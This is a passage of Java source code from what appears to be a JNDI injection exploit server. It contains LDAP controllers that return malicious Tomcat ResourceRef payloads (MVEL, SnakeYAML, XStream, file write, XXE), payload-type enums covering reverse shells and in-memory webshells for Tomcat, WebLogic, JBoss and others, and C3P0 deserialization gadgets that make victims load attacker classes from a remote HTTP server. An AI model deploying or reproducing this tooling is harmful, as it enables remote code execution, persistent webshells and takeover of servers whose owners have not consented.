24 |
25 | private PayloadType type;
26 | private String[] params;
27 |
28 | @Override
29 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
30 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
31 |
32 | Entry e = new Entry(base);
33 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
34 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
35 | ResourceRef ref = getResourceRefBytomcatMVEL(params[0]);
36 |
37 | e.addAttribute("javaSerializedData", Util.serialize(ref));
38 |
39 | result.sendSearchEntry(e);
40 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
41 |
42 | System.out.println("[+] Done Sending LDAP ResourceRef result");
43 | }
44 |
45 | @Override
46 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
47 | try{
48 | int firstIndex = base.indexOf("/");
49 | int secondIndex = base.indexOf("/", firstIndex + 1);
50 | if(secondIndex < 0) secondIndex = base.length();
51 |
52 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType
53 | String payloadType = base.substring(firstIndex + 1, secondIndex);
54 | if(payloadType.equalsIgnoreCase("command")){
55 | type = PayloadType.valueOf("command");
56 | System.out.println("[+] Paylaod: " + type);
57 | }else{
58 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
59 | }
60 |
61 | String cmd = Util.getCmdFromBase(base);
62 | System.out.println("[+] Command: " + cmd);
63 | params = new String[]{cmd};
64 | }catch(Exception e){
65 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
66 |
67 | throw new IncorrectParamsException("Incorrect params: " + base);
68 | }
69 | }
70 |
71 | private static ResourceRef getResourceRefBytomcatMVEL(String cmd){
72 | ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
73 | true, "org.apache.naming.factory.BeanFactory", null);
74 | ref.add(new StringRefAddr("forceString", "a=exec"));
75 | ref.add(new StringRefAddr("a",
76 | "push Runtime.getRuntime().exec('" + cmd + "');"));
77 | return ref;
78 | }
79 |
80 |
81 | public static void main(String[] args) throws Exception {
82 | Class clazz = SpringMemshellTemplate.class;
83 | String classCode = Util.getClassCode(clazz);
84 | System.out.println(classCode);
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/TomcatRceController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 |
13 | import javax.naming.StringRefAddr;
14 |
15 | // Ref: https://tttang.com/archive/1405/#toc_webshell
16 | @LdapMapping(uri = { "/tomcatrce" })
17 | public class TomcatRceController implements LdapController{
18 |
19 | private PayloadType type;
20 | private String[] params;
21 |
22 | @Override
23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
25 |
26 | Entry e = new Entry(base);
27 | e.addAttribute("javaClassName", "java.lang.String");
28 |
29 | // ResourceRef ref = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration",
30 | // null, "", "", true,
31 | // "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
32 | // ref.add(new StringRefAddr("systemProperties", params[0]));
33 |
34 | // "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"
35 | ResourceRef ref = tomcatWriteFile(params[0]);
36 |
37 | e.addAttribute("javaSerializedData", Util.serialize(ref));
38 |
39 | result.sendSearchEntry(e);
40 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
41 |
42 | System.out.println("[+] Done Sending LDAP ResourceRef result");
43 | }
44 |
45 | private static ResourceRef tomcatWriteFile(String pathName) {
46 | ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
47 | true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
48 | ref.add(new StringRefAddr("pathname", pathName));
49 | ref.add(new StringRefAddr("readonly", "false"));
50 | return ref;
51 | }
52 |
53 | @Override
54 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
55 | try{
56 | int firstIndex = base.indexOf("/");
57 | int secondIndex = base.indexOf("/", firstIndex + 1);
58 | if(secondIndex < 0) secondIndex = base.length();
59 |
60 | try{
61 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
62 |
63 | // 只支持这一种
64 | if(type != PayloadType.url){
65 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
66 | }
67 |
68 | System.out.println("[+] Paylaod: " + type);
69 | }catch(IllegalArgumentException e){
70 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
71 | }
72 |
73 | switch (type){
74 | case url:
75 | String url = Util.getUrlFromBase(base);
76 | System.out.println("[+] jsp webserver url: " + url);
77 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
78 | break;
79 | }
80 | }catch(Exception e){
81 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
82 |
83 | throw new IncorrectParamsException("Incorrect params: " + base);
84 | }
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/TomcatSnakeYamlController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.template.*;
7 | import com.feihong.ldap.utils.*;
8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
9 | import com.unboundid.ldap.sdk.Entry;
10 | import com.unboundid.ldap.sdk.LDAPResult;
11 | import com.unboundid.ldap.sdk.ResultCode;
12 | import org.apache.naming.ResourceRef;
13 | import javax.naming.StringRefAddr;
14 |
15 | /*
16 | ldap://x.x.x.x:1389/snakeyaml
17 | */
18 |
19 | @LdapMapping(uri = { "/tomcatsnakeyaml" })
20 | public class TomcatSnakeYamlController implements LdapController {
21 |
22 | private PayloadType type;
23 | private String[] params;
24 |
25 | @Override
26 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
27 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
28 |
29 | Entry e = new Entry(base);
30 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
31 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
32 | ResourceRef ref = getResourceRefBytomcatSnakeyaml(params[0]);
33 |
34 | e.addAttribute("javaSerializedData", Util.serialize(ref));
35 |
36 | result.sendSearchEntry(e);
37 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
38 |
39 | System.out.println("[+] Done Sending LDAP ResourceRef result");
40 | }
41 |
42 | @Override
43 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
44 | try{
45 | int fistIndex = base.indexOf("/");
46 | int secondIndex = base.indexOf("/", fistIndex + 1);
47 | if(secondIndex < 0) secondIndex = base.length();
48 |
49 | try{
50 | type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
51 | System.out.println("[+] Paylaod: " + type);
52 | }catch(IllegalArgumentException e){
53 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex));
54 | }
55 |
56 | switch (type){
57 | case url:
58 | String url = Util.getUrlFromBase(base);
59 | System.out.println("[+] Propertiy url: " + url);
60 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
61 | break;
62 | }
63 | }catch(Exception e){
64 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
65 |
66 | throw new IncorrectParamsException("Incorrect params: " + base);
67 | }
68 | }
69 |
70 | private static ResourceRef getResourceRefBytomcatSnakeyaml(String _url){
71 | ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
72 | true, "org.apache.naming.factory.BeanFactory", null);
73 | String yaml = "!!javax.script.ScriptEngineManager [\n" +
74 | " !!java.net.URLClassLoader [[\n" +
75 | " !!java.net.URL [\"" + _url + "\"]\n" +
76 | " ]]\n" +
77 | "]";
78 | ref.add(new StringRefAddr("forceString", "x=load"));
79 | ref.add(new StringRefAddr("x", yaml));
80 | return ref;
81 | }
82 |
83 |
84 | public static void main(String[] args) throws Exception {
85 | Class clazz = SpringMemshellTemplate.class;
86 | String classCode = Util.getClassCode(clazz);
87 | System.out.println(classCode);
88 | }
89 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/TomcatXStreamController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.exceptions.IncorrectParamsException;
4 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
5 | import com.feihong.ldap.template.SpringMemshellTemplate;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 | import javax.naming.StringRefAddr;
13 |
14 | /*
15 | ldap://x.x.x.x:1389/xstream
16 |
17 | Ref: https://b1ue.cn/archives/529.html
18 |
19 | TODO: 需要修改一下payload,没有成功。
20 | */
21 |
22 | @LdapMapping(uri = { "/tomcatxstream" })
23 | public class TomcatXStreamController implements LdapController {
24 |
25 | @Override
26 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
27 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
28 |
29 | Entry e = new Entry(base);
30 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
31 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
32 | ResourceRef ref = getResourceRefBytomcatXstream();
33 |
34 | e.addAttribute("javaSerializedData", Util.serialize(ref));
35 |
36 | result.sendSearchEntry(e);
37 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
38 |
39 | System.out.println("[+] Done Sending LDAP ResourceRef result");
40 | }
41 |
42 | @Override
43 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
44 | }
45 |
46 | private static ResourceRef getResourceRefBytomcatXstream(){
47 | ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
48 | true, "org.apache.naming.factory.BeanFactory", null);
49 | String xml = "\n" +
50 | " \n" +
51 | " \n" +
52 | " \n" +
53 | " 2\n" +
54 | " \n" +
55 | " 3\n" +
56 | " \n" +
57 | " java.lang.Comparable\n" +
58 | " \n" +
59 | " true\n" +
60 | " java.lang.Comparable\n" +
61 | " \n" +
62 | " \n" +
63 | " \n" +
64 | " java.lang.Comparable\n" +
65 | " compareTo\n" +
66 | " \n" +
67 | " java.lang.Object\n" +
68 | " \n" +
69 | " \n" +
70 | " \n" +
71 | " \n" +
72 | " \n" +
73 | " java.lang.Runtime\n" +
74 | " exec\n" +
75 | " \n" +
76 | " java.lang.String\n" +
77 | " \n" +
78 | " \n" +
79 | " \n" +
80 | " \n" +
81 | " \n" +
82 | " \n" +
83 | " \n" +
84 | " notepad\n" +
85 | " \n" +
86 | "";
87 | ref.add(new StringRefAddr("forceString", "a=fromXML"));
88 | ref.add(new StringRefAddr("a", xml));
89 | return ref;
90 | }
91 |
92 |
93 | public static void main(String[] args) throws Exception {
94 | Class clazz = SpringMemshellTemplate.class;
95 | String classCode = Util.getClassCode(clazz);
96 | System.out.println(classCode);
97 | }
98 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/TomcatXXEController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 |
13 | import javax.naming.StringRefAddr;
14 |
15 | // Ref: https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf
16 | @LdapMapping(uri = { "/tomcatxxe" })
17 | public class TomcatXXEController implements LdapController{
18 |
19 | private PayloadType type;
20 | private String[] params;
21 |
22 | @Override
23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
25 |
26 | Entry e = new Entry(base);
27 | e.addAttribute("javaClassName", "java.lang.String");
28 |
29 | ResourceRef ref = tomcatMemoryXXE(params[0]);
30 |
31 | e.addAttribute("javaSerializedData", Util.serialize(ref));
32 |
33 | result.sendSearchEntry(e);
34 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
35 |
36 | System.out.println("[+] Done Sending LDAP ResourceRef result");
37 | }
38 |
39 | private ResourceRef tomcatMemoryXXE(String xmlUrl){
40 | ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true,
41 | "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
42 | ref.add(new StringRefAddr("pathname", xmlUrl));
43 |
44 | return ref;
45 | }
46 |
47 | @Override
48 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
49 | try{
50 | int firstIndex = base.indexOf("/");
51 | int secondIndex = base.indexOf("/", firstIndex + 1);
52 | if(secondIndex < 0) secondIndex = base.length();
53 |
54 | try{
55 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
56 |
57 | // 只支持这一种
58 | if(type != PayloadType.url){
59 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
60 | }
61 |
62 | System.out.println("[+] Paylaod: " + type);
63 | }catch(IllegalArgumentException e){
64 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
65 | }
66 |
67 | switch (type){
68 | case url:
69 | String url = Util.getUrlFromBase(base);
70 | System.out.println("[+] XXE xml url: " + url);
71 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
72 | break;
73 | }
74 | }catch(Exception e){
75 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
76 |
77 | throw new IncorrectParamsException("Incorrect params: " + base);
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/GadgetType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum GadgetType {
4 | // must be lowercase
5 | urldns,
6 | commonsbeanutils1,
7 | commonsbeanutils2,
8 | commonsbeanutils2_2, // added by cqq on 2023-11-08
9 | commonscollectionsk1,
10 | commonscollectionsk2,
11 | commonscollections4, // Added by cqq on 2022-9-2
12 | commonsbeanutils192withoutcc, // Added by cqq on 2023-7-6
13 | jdk7u21,
14 | jre8u20,
15 | c3p0,
16 | C3P0_LowVer, // Added by cqq on 2023-7-6
17 | fastjson1, // added by cqq 2023-10-12
18 | fastjson2,
19 | jackson1,
20 | jackson2,
21 | jackson22,
22 | jackson222,
23 | jackson3,
24 | jackson4,
25 | cve_2020_2555,
26 | cve_2020_2883;
27 | }
28 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/PayloadType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum PayloadType {
4 | command,
5 | dnslog,
6 | reverseshell,
7 | tomcatecho,
8 | springecho,
9 | weblogicecho,
10 | tomcatmemshell1,
11 | tomcatmemshell2,
12 | weblogicmemshell1,
13 | weblogicmemshell2,
14 | jettymemshell,
15 | jbossmemshell,
16 | webspherememshell,
17 | springmemshell,
18 | url,
19 | factory,
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum WebsphereActionType {
4 | list,
5 | upload,
6 | rce;
7 | }
8 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class IncorrectParamsException extends RuntimeException {
4 | public IncorrectParamsException(){
5 | super();
6 | }
7 | public IncorrectParamsException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedActionTypeException extends RuntimeException{
4 | public UnSupportedActionTypeException(){
5 | super();
6 | }
7 | public UnSupportedActionTypeException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedGadgetTypeException extends RuntimeException {
4 | public UnSupportedGadgetTypeException(){ super();}
5 | public UnSupportedGadgetTypeException(String message){
6 | super(message);
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedPayloadTypeException extends RuntimeException {
4 | public UnSupportedPayloadTypeException(){
5 | super();
6 | }
7 | public UnSupportedPayloadTypeException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/C3P0.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import java.io.*;
4 | import java.lang.reflect.Field;
5 | import java.sql.SQLException;
6 | import java.sql.SQLFeatureNotSupportedException;
7 | import java.util.Base64;
8 | import java.util.logging.Logger;
9 | import javax.naming.NamingException;
10 | import javax.naming.Reference;
11 | import javax.naming.Referenceable;
12 | import javax.sql.ConnectionPoolDataSource;
13 | import javax.sql.PooledConnection;
14 |
15 | import com.feihong.ldap.template.*;
16 | import com.feihong.ldap.utils.Config;
17 | import com.feihong.ldap.enumtypes.PayloadType;
18 | import com.mchange.v2.c3p0.PoolBackedDataSource;
19 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
20 |
21 |
22 | public class C3P0 {
23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
24 |
25 | String className;
26 | switch (type){
27 | case command:
28 | CommandTemplate commandTemplate = new CommandTemplate(param[0]);
29 | commandTemplate.cache();
30 | className = commandTemplate.getClassName();
31 | break;
32 | case dnslog:
33 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);
34 | dnslogTemplate.cache();
35 | className = dnslogTemplate.getClassName();
36 | break;
37 | case reverseshell:
38 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);
39 | reverseShellTemplate.cache();
40 | className = reverseShellTemplate.getClassName();
41 | break;
42 | case tomcatecho:
43 | className = TomcatEchoTemplate.class.getName();
44 | break;
45 | case springecho:
46 | className = SpringEchoTemplate.class.getName();
47 | break;
48 | case tomcatmemshell1:
49 | className = TomcatMemshellTemplate1.class.getName();
50 | break;
51 | case tomcatmemshell2:
52 | className = TomcatMemshellTemplate2.class.getName();
53 | break;
54 | case jettymemshell:
55 | className = JettyMemshellTemplate.class.getName();
56 | break;
57 | case jbossmemshell:
58 | className = JBossMemshellTemplate.class.getName();
59 | break;
60 | case webspherememshell:
61 | className = WebsphereMemshellTemplate.class.getName();
62 | break;
63 | case springmemshell:
64 | className = SpringMemshellTemplate.class.getName();
65 | break;
66 | default:
67 | throw new IllegalStateException("Unexpected value: " + type);
68 | }
69 |
70 | PoolBackedDataSource b = PoolBackedDataSource.class.newInstance();
71 | Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
72 | field.setAccessible(true);
73 | field.set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/"));
74 |
75 | //序列化
76 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
77 | ObjectOutputStream oos = new ObjectOutputStream(baous);
78 | oos.writeObject(b);
79 | byte[] bytes = baous.toByteArray();
80 | oos.close();
81 |
82 | return bytes;
83 | }
84 |
85 |
86 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
87 |
88 | private String className;
89 | private String url;
90 |
91 | public PoolSource ( String className, String url ) {
92 | this.className = className;
93 | this.url = url;
94 | }
95 |
96 | public Reference getReference () throws NamingException {
97 | return new Reference("exploit", this.className, this.url);
98 | }
99 |
100 | public PrintWriter getLogWriter () throws SQLException {return null;}
101 | public void setLogWriter ( PrintWriter out ) throws SQLException {}
102 | public void setLoginTimeout ( int seconds ) throws SQLException {}
103 | public int getLoginTimeout () throws SQLException {return 0;}
104 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
105 | public PooledConnection getPooledConnection () throws SQLException {return null;}
106 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
107 | }
108 |
109 | public static void main(String[] args) {
110 | CommandTemplate commandTemplate = new CommandTemplate("notepad");
111 | commandTemplate.generate();
112 |
113 | // new FileOutputStream(commandTemplate.getClassName() + ".class").write(commandTemplate.getBytes());
114 | System.out.println(Base64.getEncoder().encodeToString(commandTemplate.getBytes()));
115 | System.out.println(commandTemplate.getClassName());
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/C3P0_LowVer.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.JavassistClassLoader;
4 | import com.feihong.ldap.enumtypes.PayloadType;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import com.feihong.ldap.template.*;
7 | import com.feihong.ldap.utils.Config;
8 | import javassist.ClassClassPath;
9 | import javassist.ClassPool;
10 | import javassist.CtClass;
11 | import javassist.CtField;
12 |
13 | import javax.naming.NamingException;
14 | import javax.naming.Reference;
15 | import javax.naming.Referenceable;
16 | import javax.sql.ConnectionPoolDataSource;
17 | import javax.sql.PooledConnection;
18 | import java.io.ByteArrayOutputStream;
19 | import java.io.ObjectOutputStream;
20 | import java.io.PrintWriter;
21 | import java.sql.SQLException;
22 | import java.sql.SQLFeatureNotSupportedException;
23 | import java.util.logging.Logger;
24 |
25 | public class C3P0_LowVer {
26 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
27 |
28 | String className;
29 | switch (type){
30 | case command:
31 | CommandTemplate commandTemplate = new CommandTemplate(param[0]);
32 | commandTemplate.cache();
33 | className = commandTemplate.getClassName();
34 | break;
35 | case dnslog:
36 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);
37 | dnslogTemplate.cache();
38 | className = dnslogTemplate.getClassName();
39 | break;
40 | case reverseshell:
41 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);
42 | reverseShellTemplate.cache();
43 | className = reverseShellTemplate.getClassName();
44 | break;
45 | case tomcatecho:
46 | className = TomcatEchoTemplate.class.getName();
47 | break;
48 | case springecho:
49 | className = SpringEchoTemplate.class.getName();
50 | break;
51 | case tomcatmemshell1:
52 | className = TomcatMemshellTemplate1.class.getName();
53 | break;
54 | case tomcatmemshell2:
55 | className = TomcatMemshellTemplate2.class.getName();
56 | break;
57 | case jettymemshell:
58 | className = JettyMemshellTemplate.class.getName();
59 | break;
60 | case jbossmemshell:
61 | className = JBossMemshellTemplate.class.getName();
62 | break;
63 | case webspherememshell:
64 | className = WebsphereMemshellTemplate.class.getName();
65 | break;
66 | case springmemshell:
67 | className = SpringMemshellTemplate.class.getName();
68 | break;
69 | default:
70 | throw new IllegalStateException("Unexpected value: " + type);
71 | }
72 |
73 |
74 | // PoolBackedDataSource b = PoolBackedDataSource.class.newInstance();
75 | // Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
76 | // field.setAccessible(true);
77 | // field.set(b, new C3P0_LowVer.PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/"));
78 |
79 |
80 |
81 | ClassPool pool = new ClassPool();
82 | pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
83 | final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
84 |
85 | try {
86 | CtField ctSUID = ctPoolBackedDataSource.getDeclaredField("serialVersionUID");
87 | ctPoolBackedDataSource.removeField(ctSUID);
88 | }catch (javassist.NotFoundException e){}
89 | ctPoolBackedDataSource.addField(CtField.make("private static final long serialVersionUID = 7387108436934414104L;", ctPoolBackedDataSource));
90 |
91 | // mock method name until armed
92 | final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new JavassistClassLoader());
93 |
94 | Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
95 | Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/"));
96 |
97 | //序列化
98 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
99 | ObjectOutputStream oos = new ObjectOutputStream(baous);
100 | oos.writeObject(b);
101 | byte[] bytes = baous.toByteArray();
102 | oos.close();
103 |
104 | return bytes;
105 | }
106 |
107 |
108 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
109 |
110 | private String className;
111 | private String url;
112 |
113 | public PoolSource ( String className, String url ) {
114 | this.className = className;
115 | this.url = url;
116 | }
117 |
118 | public Reference getReference () throws NamingException {
119 | return new Reference("exploit", this.className, this.url);
120 | }
121 |
122 | public PrintWriter getLogWriter () throws SQLException {return null;}
123 | public void setLogWriter ( PrintWriter out ) throws SQLException {}
124 | public void setLoginTimeout ( int seconds ) throws SQLException {}
125 | public int getLoginTimeout () throws SQLException {return 0;}
126 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
127 | public PooledConnection getPooledConnection () throws SQLException {return null;}
128 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
129 | }
130 | }
131 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CVE_2020_2555.java:
--------------------------------------------------------------------------------
1 | //package com.feihong.ldap.gadgets;
2 | //
3 | //import com.feihong.ldap.enumtypes.PayloadType;
4 | //import com.feihong.ldap.gadgets.utils.ClassFiles;
5 | //import com.feihong.ldap.template.*;
6 | //import com.feihong.ldap.utils.Cache;
7 | //import com.tangosol.util.extractor.ChainedExtractor;
8 | //import com.tangosol.util.extractor.ReflectionExtractor;
9 | //import com.tangosol.util.filter.LimitFilter;
10 | //import org.apache.tomcat.util.buf.HexUtils;
11 | //
12 | //import javax.management.BadAttributeValueExpException;
13 | //import javax.script.ScriptEngineManager;;
14 | //import java.io.ByteArrayOutputStream;
15 | //import java.io.ObjectOutputStream;
16 | //import java.lang.reflect.Field;
17 | //
18 | //public class CVE_2020_2555 {
19 | // public static byte[] getBytes(PayloadType type, String... param) throws Exception {
20 | //
21 | // String className;
22 | // switch (type){
23 | // case command:
24 | // CommandTemplate commandTemplate = new CommandTemplate(param[0]);
25 | // commandTemplate.cache();
26 | // className = commandTemplate.getClassName();
27 | // break;
28 | // case dnslog:
29 | // DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);
30 | // dnslogTemplate.cache();
31 | // className = dnslogTemplate.getClassName();
32 | // break;
33 | // case reverseshell:
34 | // ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);
35 | // reverseShellTemplate.cache();
36 | // className = reverseShellTemplate.getClassName();
37 | // break;
38 | // case tomcatecho:
39 | // className = TomcatEchoTemplate.class.getName();
40 | // break;
41 | // case springecho:
42 | // className = SpringEchoTemplate.class.getName();
43 | // break;
44 | // case weblogicecho:
45 | // className = WeblogicEchoTemplate.class.getName();
46 | // break;
47 | // case tomcatmemshell1:
48 | // className = TomcatMemshellTemplate1.class.getName();
49 | // break;
50 | // case tomcatmemshell2:
51 | // className = TomcatMemshellTemplate2.class.getName();
52 | // break;
53 | // case jettymemshell:
54 | // className = JettyMemshellTemplate.class.getName();
55 | // break;
56 | // case jbossmemshell:
57 | // className = JBossMemshellTemplate.class.getName();
58 | // break;
59 | // case weblogicmemshell1:
60 | // className = WeblogicMemshellTemplate1.class.getName();
61 | // break;
62 | // case weblogicmemshell2:
63 | // className = WeblogicMemshellTemplate2.class.getName();
64 | // break;
65 | // case webspherememshell:
66 | // className = WebsphereMemshellTemplate.class.getName();
67 | // break;
68 | // case springmemshell:
69 | // className = SpringMemshellTemplate.class.getName();
70 | // break;
71 | // default:
72 | // throw new IllegalStateException("Unexpected value: " + type);
73 | // }
74 | //
75 | //
76 | // byte[] bytes = Cache.get(className);
77 | // if(bytes == null){
78 | // String shortName = className.substring(className.lastIndexOf(".") + 1);
